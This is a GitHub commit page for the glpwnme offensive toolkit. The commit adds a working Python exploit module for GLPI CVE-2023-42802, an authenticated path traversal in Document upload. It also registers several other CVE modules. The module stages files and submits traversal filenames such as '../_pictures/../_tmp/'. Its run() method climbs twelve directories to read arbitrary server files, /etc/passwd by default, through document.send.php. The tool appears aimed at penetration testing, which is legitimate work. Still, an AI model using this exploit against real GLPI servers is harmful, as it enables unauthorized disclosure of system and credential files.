Skip to content

Commit 85c554e

Browse files
author
j4kuuu
committed
Add file read / delete / upload-RCE modules
1 parent 4a05445 commit 85c554e

5 files changed

Lines changed: 904 additions & 0 deletions

File tree

glpwnme/exploits/implementations/__init__.py

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,11 @@
2727
# GLPI classic check
2828
from .default_password_check import DEFAULT_PASSWORD_CHECK
2929

30+
from .cve_2023_42802 import CVE_2023_42802
31+
from .cve_2025_24801 import CVE_2025_24801
32+
from .cve_2026_42317 import CVE_2026_42317
33+
from .cve_2026_42320 import CVE_2026_42320
34+
3035
def get_all_exploits():
3136
"""
3237
Return the exploit available as Class
@@ -38,5 +43,6 @@ def get_all_exploits():
3843
all_exploits = [CVE_2020_15175, CVE_2022_31061, CVE_2022_35914, UNSERIALIZE_ORDER_2022, CVE_2023_41323, CVE_2023_41326]
3944
all_exploits += [PHP_UPLOAD, CVE_2024_27937, CVE_2024_29889, CVE_2024_37148, CVE_2024_37149]
4045
all_exploits += [CVE_2024_40638, CVE_2024_50339, CVE_2025_24799, CVE_2025_32786, CVE_2026_26026]
46+
all_exploits += [CVE_2023_42802, CVE_2025_24801, CVE_2026_42317, CVE_2026_42320]
4147
all_exploits += [DEFAULT_PASSWORD_CHECK]
4248
return all_exploits
Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
import re
2+
import uuid
3+
from http import HTTPStatus
4+
5+
from ..exploit import GlpiExploit
6+
from glpwnme.exploits.logger import Log
7+
8+
9+
class CVE_2023_42802(GlpiExploit):
10+
"""
11+
Authenticated Document-upload path traversal (GHSA-rrh2-x4ch-pq3m).
12+
13+
The vulnerable sink is Document::moveDocument() / Document::moveUploadedDocument()
14+
in src/Document.php. When an authenticated user adds a Document, the controller
15+
front/document.form.php hands the user-supplied _filename[0] straight to:
16+
17+
$fullpath = GLPI_TMP_DIR . "/" . $filename; // moveDocument (staged upload)
18+
...
19+
copy($fullpath, GLPI_DOC_DIR . "/" . $new_path);
20+
21+
The SOURCE path is built from the raw filename without rejecting directory
22+
separators, so a filename containing ../ traverses out of files/_tmp and pulls an
23+
arbitrary server-side file INTO the document store. The destination is content
24+
addressed (sha1 + extension dir), so the WRITE target itself is safe, but the read
25+
side gives arbitrary file disclosure: the moved file is then served verbatim by
26+
front/document.send.php. The advisory's own mitigation ("remove write access on
27+
/ajax and /front for the web server") confirms files can be made to land where they
28+
should not.
29+
30+
Fix in 10.0.10 added to BOTH functions:
31+
32+
if (str_contains($filename, '/') || str_contains($filename, '\\')) {
33+
trigger_error(... 'forbidden for security reasons.' ...);
34+
return false;
35+
}
36+
37+
Privilege: AUTHENTICATED user with the Document-create right. The sinks
38+
(front/document.form.php, ajax/fileupload.php) call Session::checkLoginUser(), so
39+
this is NOT the old (false) unauthenticated front/device.form.php?itemtype=
40+
UploadHandler vector.
41+
42+
DETECTION (destructive behavioral differential)
43+
-----------------------------------------------
44+
There is no non-destructive black-box signal: the 10.0.10 fix is an internal
45+
str_contains() filename guard. So this check performs the real primitive.
46+
47+
1. Stage a uniquely-named canary .txt via /ajax/fileupload.php -> files/_tmp/<staged>
48+
(a normal upload; works on vulnerable AND patched builds).
49+
2. Add a Document with _filename[0] = "../_pictures/../_tmp/<staged>" and an empty
50+
_prefix_filename[0]. The path bounces through a sibling directory and back, so
51+
it can only resolve via genuine directory traversal, and it contains '/' which
52+
is exactly what the 10.0.10 guard rejects.
53+
3. Download the new Document via /front/document.send.php and look for the canary.
54+
- VULNERABLE (<= 10.0.9): the guard is absent, the traversed source resolves,
55+
the canary bytes come back -> FIRED.
56+
- PATCHED (>= 10.0.10): moveDocument() returns false at the guard, the stored
57+
file is empty, the canary is absent -> SILENT.
58+
4. CONTROL: a normal bare filename is added the same way and must come back with
59+
its own canary on BOTH builds. This proves the upload endpoint works and that a
60+
patched failure is the guard rejecting the traversal, not a broken endpoint.
61+
62+
All probe Documents are purged afterwards.
63+
64+
@author glpi
65+
@cvss 8.8
66+
@name CVE_2023_42802
67+
"""
68+
_impacts = "Path Traversal, Arbitrary File Read, Document Store Escape"
69+
_privilege = "User"
70+
_is_check_opsec_safe = False
71+
min_version = "10.0.7"
72+
max_version = "10.0.10"
73+
74+
_UPLOAD = "/ajax/fileupload.php"
75+
_DOC_FORM = "/front/document.form.php"
76+
_DOC_SEND = "/front/document.send.php"
77+
_DOC_LIST = "/front/document.php?start=0&order=DESC&sort=2"
78+
79+
# ------------------------------------------------------------------ #
80+
# helpers #
81+
# ------------------------------------------------------------------ #
82+
83+
def _doc_ids(self):
84+
"""Current set of document ids visible to the session."""
85+
t = self.get(self._DOC_LIST, allow_redirects=True).text
86+
return set(int(x) for x in re.findall(r"document\.form\.php\?id=(\d+)", t))
87+
88+
def _stage(self, filename, content):
89+
"""Stage a file via the AJAX uploader. Returns the on-disk name under
90+
files/_tmp (this build stores it under its bare name) or None."""
91+
try:
92+
r = self.post(self._UPLOAD, data={"name": "filename"}, files={
93+
"filename[]": (filename, content, "text/plain"),
94+
})
95+
return r.json().get("filename", [{}])[0].get("name")
96+
except Exception:
97+
return None
98+
99+
def _add_document(self, filename_field):
100+
"""Add a Document whose _filename[0] is filename_field (empty prefix so no
101+
str_replace mangles the extension). Returns the new document id or None."""
102+
before = self._doc_ids()
103+
data = {
104+
"entities_id": "0",
105+
"name": f"glpwnme_{uuid.uuid4().hex[:8]}",
106+
"_filename[0]": filename_field,
107+
"_prefix_filename[0]": "",
108+
"_tag_filename[0]": "",
109+
"add": "1",
110+
}
111+
self.post(self._DOC_FORM, data=data, allow_redirects=False)
112+
new = self._doc_ids() - before
113+
return max(new) if new else None
114+
115+
def _download(self, docid):
116+
r = self.get(f"{self._DOC_SEND}?docid={docid}", allow_redirects=False)
117+
return r.status_code, r.content
118+
119+
def _purge(self, docid):
120+
if not docid:
121+
return
122+
self.post(self._DOC_FORM, data={"id": docid, "purge": "purge"},
123+
allow_redirects=False)
124+
125+
# ------------------------------------------------------------------ #
126+
# interface #
127+
# ------------------------------------------------------------------ #
128+
129+
def infos(self):
130+
infos = "[u]Description:[/u]\n"
131+
infos += "Authenticated Document-upload path traversal (GLPI 10.0.7 - 10.0.9).\n"
132+
infos += "[b]Document::moveDocument()[/b] / [b]moveUploadedDocument()[/b] built the source\n"
133+
infos += "path as [i]GLPI_TMP_DIR.\"/\".$filename[/i] from the user-supplied [i]_filename[/i]\n"
134+
infos += "without rejecting directory separators, so a Document filename containing [i]../[/i]\n"
135+
infos += "escapes [b]files/_tmp[/b] and pulls an arbitrary server file into the document store,\n"
136+
infos += "served back verbatim by [b]document.send.php[/b] (arbitrary file read).\n"
137+
infos += "Fix 10.0.10: reject any filename containing '/' or '\\\\'.\n"
138+
139+
infos += "\n[u]Privilege:[/u]\n"
140+
infos += "[b]Authenticated[/b] user with the Document-create right (document.form.php and\n"
141+
infos += "ajax/fileupload.php both require a logged-in session).\n"
142+
143+
infos += "\n[red b]Destructive check[/red b]\n"
144+
infos += "No non-destructive differential exists (the fix is an internal filename guard).\n"
145+
infos += "The check performs the real traversal: it stages a unique canary, adds a Document\n"
146+
infos += "whose filename bounces through a sibling dir back into _tmp, downloads it, and looks\n"
147+
infos += "for the canary. A benign normal-filename control must succeed on both builds. All\n"
148+
infos += "probe Documents are purged afterwards.\n"
149+
return infos
150+
151+
def check(self):
152+
"""
153+
Destructive behavioral differential (see class docstring).
154+
155+
canary = unique marker bytes staged into files/_tmp via fileupload.php
156+
trav = Document added with _filename[0] = ../_pictures/../_tmp/<staged>
157+
ctrl = Document added with a plain bare staged filename
158+
159+
Vulnerable when the traversal Document streams back the canary (the guard is
160+
absent, so the bounced ../ source resolves) while the control also works. On a
161+
patched build moveDocument() returns false at the str_contains() guard, the
162+
stored file is empty, and the canary never comes back, but the control still
163+
succeeds, proving the endpoint is healthy and the rejection is the guard.
164+
"""
165+
trav_id = ctrl_id = None
166+
try:
167+
# --- traversal probe -------------------------------------------------
168+
canary = b"GLPWNME-42802-" + uuid.uuid4().hex.encode()
169+
staged = self._stage(f"c_{uuid.uuid4().hex[:8]}.txt", canary)
170+
if not staged:
171+
Log.log("Could not stage a file via /ajax/fileupload.php "
172+
"(need an authenticated session with the Document-create right)")
173+
return False
174+
175+
trav_id = self._add_document(f"../_pictures/../_tmp/{staged}")
176+
fired = False
177+
if trav_id is not None:
178+
code, body = self._download(trav_id)
179+
fired = code == HTTPStatus.OK and canary in body
180+
181+
# --- benign control --------------------------------------------------
182+
ctrl_canary = b"GLPWNME-CTRL-" + uuid.uuid4().hex.encode()
183+
ctrl_staged = self._stage(f"k_{uuid.uuid4().hex[:8]}.txt", ctrl_canary)
184+
ctrl_ok = False
185+
if ctrl_staged:
186+
ctrl_id = self._add_document(ctrl_staged)
187+
if ctrl_id is not None:
188+
code, body = self._download(ctrl_id)
189+
ctrl_ok = code == HTTPStatus.OK and ctrl_canary in body
190+
191+
if not ctrl_ok:
192+
Log.log("Benign control upload did not round-trip; the Document endpoint is not "
193+
"usable as expected, so the traversal result is inconclusive")
194+
return False
195+
196+
if fired:
197+
Log.msg("Path traversal CONFIRMED: a Document filename '../_pictures/../_tmp/<file>' "
198+
"escaped files/_tmp and the planted canary was served back by document.send.php")
199+
Log.log("Document::moveDocument() built the source path from the raw filename with no "
200+
"directory-separator guard (fixed in 10.0.10).")
201+
return True
202+
203+
Log.log("Traversal filename was rejected (empty document) while the benign control "
204+
"succeeded: the 10.0.10 str_contains() filename guard is present. Not vulnerable.")
205+
return False
206+
finally:
207+
self._purge(trav_id)
208+
self._purge(ctrl_id)
209+
210+
def run(self, path="/etc/passwd"):
211+
"""Read an arbitrary server-side file via the document source-path traversal.
212+
_filename[0] climbs from files/_tmp to the filesystem root and then to the target.
213+
The target must be readable by the web user and carry a GLPI-allowed document
214+
extension (the source filename keeps its extension); pick a file accordingly if
215+
the default is rejected. The probe Document is purged afterwards."""
216+
traversal = "../" * 12 + path.lstrip("/")
217+
docid = self._add_document(traversal)
218+
if docid is None:
219+
Log.err("Could not create the traversal Document (patched, blocked extension, or no "
220+
"Document-create right)")
221+
return False
222+
try:
223+
code, body = self._download(docid)
224+
if code == HTTPStatus.OK and body:
225+
Log.msg(f"Read [gold3]{path}[/] ({len(body)} bytes) via document source-path traversal:")
226+
print(body.decode("utf-8", "replace"))
227+
self._write_log(f"CVE-2023-42802 read {path} ({len(body)} bytes)")
228+
return True
229+
Log.err(f"Empty/blocked response for {path} (patched, file unreadable, or extension "
230+
"rejected by the document type allowlist)")
231+
return False
232+
finally:
233+
self._purge(docid)

0 commit comments

Comments
 (0)